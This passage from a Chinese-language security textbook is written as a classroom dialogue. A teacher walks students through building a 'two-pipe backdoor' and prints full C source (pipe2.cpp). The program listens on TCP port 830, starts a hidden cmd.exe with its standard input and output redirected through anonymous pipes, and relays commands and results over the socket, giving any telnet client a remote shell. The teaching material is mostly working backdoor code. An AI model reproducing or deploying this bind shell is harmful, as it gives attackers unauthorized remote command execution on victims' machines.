3.3.1 双管道后门的实现

老师说,“我们首先看看两个匿名管道情况的实现方法。”

“有实现的思路和网络通信编程的基础,理解起来还是比较容易。”

“首先是初始化Socket,然后Bind端口,再监听Listen,直到有客户请求,就Accept请求。示意代码如下:”

//初始化wsa
     WSAStartup(MAKEWORD(2,2),&ws);
     //建立socket
     listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
     ret=listen(listenFD,2);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

“然后创立两个Pipe,第一个管道用于输出执行结果,第二个管道用于输入命令。”

CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

“按照前面的分析,我们把CMD子进程输出句柄用管道1的写句柄替换,和前面一样,主进程就可以通过读管道1的读句柄来获得输出;另外,我们还要把CMD子进程的输入句柄用2的读句柄替换,主进程就可以通过写管道2的写句柄来输入命令。如图3-19。”

“这里比较麻烦,我再讲一次,其通信过程如下:”

(远程主机)←输入←管道1输出←管道1输入←输出(cmd.exe子进程)
(远程主机)→输出→管道2输入→管道2输出→输入(cmd.exe子进程)

“为了得到这样的效果,我们设置CMD子进程启动参数‘si’为如下:”

si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

“就是替换进程的输出句柄为管道1的写句柄,输入句柄为管道2的读句柄。最后再开启CMD命令就可以了。”

CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)

“CMD子进程启动后,就要和远程攻击机之间通信,传输用户的命令和结果。实现是先检查管道1,即CMD进程是否有输出。如果有,就读出来发给远程客户机;如果没有,就接收远程客户机的命令,并写入管道2,即传给CMD进程中。代码如下:”

//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
         if(lBytesRead)
         {
              //管道1有输出,读出结果发给远程客户机
              ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
              ret=send(clientFD,Buff,lBytesRead,0);
              if(ret<=0) break;
         }
else
         {
              //否则,接收远程客户机的命令
              lBytesRead=recv(clientFD,Buff,1024,0);
              if(lBytesRead<=0) break;
              //将命令写入管道2,即传给CMD进程
              ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
         }

“把它们合起来,就得到程序pipe2.cpp,如下:”

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
 int main()
{
     WSADATA ws;
     SOCKET listenFD;
     char Buff[1024];
     int ret;
      //初始化wsa
     WSAStartup(MAKEWORD(2,2),&ws);
     //建立Socket
     listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     //监听本机830端口
     struct sockaddr_in server;
     server.sin_family = AF_INET;
     server.sin_port = htons(830);
     server.sin_addr.s_addr=ADDR_ANY;
     ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
     ret=listen(listenFD,2);
     //如果客户请求830端口,接受连接
     int iAddrSize = sizeof(server);
     SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
     SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
     HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
     //建立匿名管道1
     pipeattr1.nLength = 12; 
     pipeattr1.lpSecurityDescriptor = 0;
     pipeattr1.bInheritHandle = true;
     CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
     //建立匿名管道2
     pipeattr2.nLength = 12; 
     pipeattr2.lpSecurityDescriptor = 0;
     pipeattr2.bInheritHandle = true;
     CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
     STARTUPINFO si;
     ZeroMemory(&si,sizeof(si));
     si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     si.wShowWindow = SW_HIDE;
     si.hStdInput = hReadPipe2;
     si.hStdOutput = si.hStdError = hWritePipe1;
     char cmdLine[] = "cmd.exe";
     PROCESS_INFORMATION ProcessInformation;
     //建立进程    
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
     /*
     解释一下,这段代码创建了一个cmd.exe,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe的标准输入用第二个管道的读句柄替换。
     如下:
      (远程主机)←输入←管道1输出←管道1输入←输出(cmd.exe子进程)
     (远程主机)→输出→管道2输入→管道2输出→输入(cmd.exe子进程) 
     */
     unsigned long lBytesRead;
     while(1)
     {
         //检查管道1,即CMD进程是否有输出
         ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
         if(lBytesRead)
         {
              //管道1有输出,读出结果发给远程客户机
              ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
              ret=send(clientFD,Buff,lBytesRead,0);
              if(ret<=0) break;
         }
         else
         {
              //否则,接收远程客户机的命令
              lBytesRead=recv(clientFD,Buff,1024,0);
              if(lBytesRead<=0) break;
              //将命令写入管道2,即传给cmd进程
              ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
         }
     }
     return 0;
}

“我们执行pipe2.cpp,本机就会打开830端口监听。如果其他机器 Telnet IP 830 ,就会给它一个远程的Shell,可以在那个Shell下输入命令执行,如图3-20。”

“哦,好可爱的Shell啊!真想咬一口。”玉波说道。

“你怎么老想到吃啊……”

“哈哈……”大家都笑了,整个课堂气氛更加融洽。

“那单管道的后门又是怎样实现的呢?”古风又心急的问。

“好,我们也一起来看看吧!”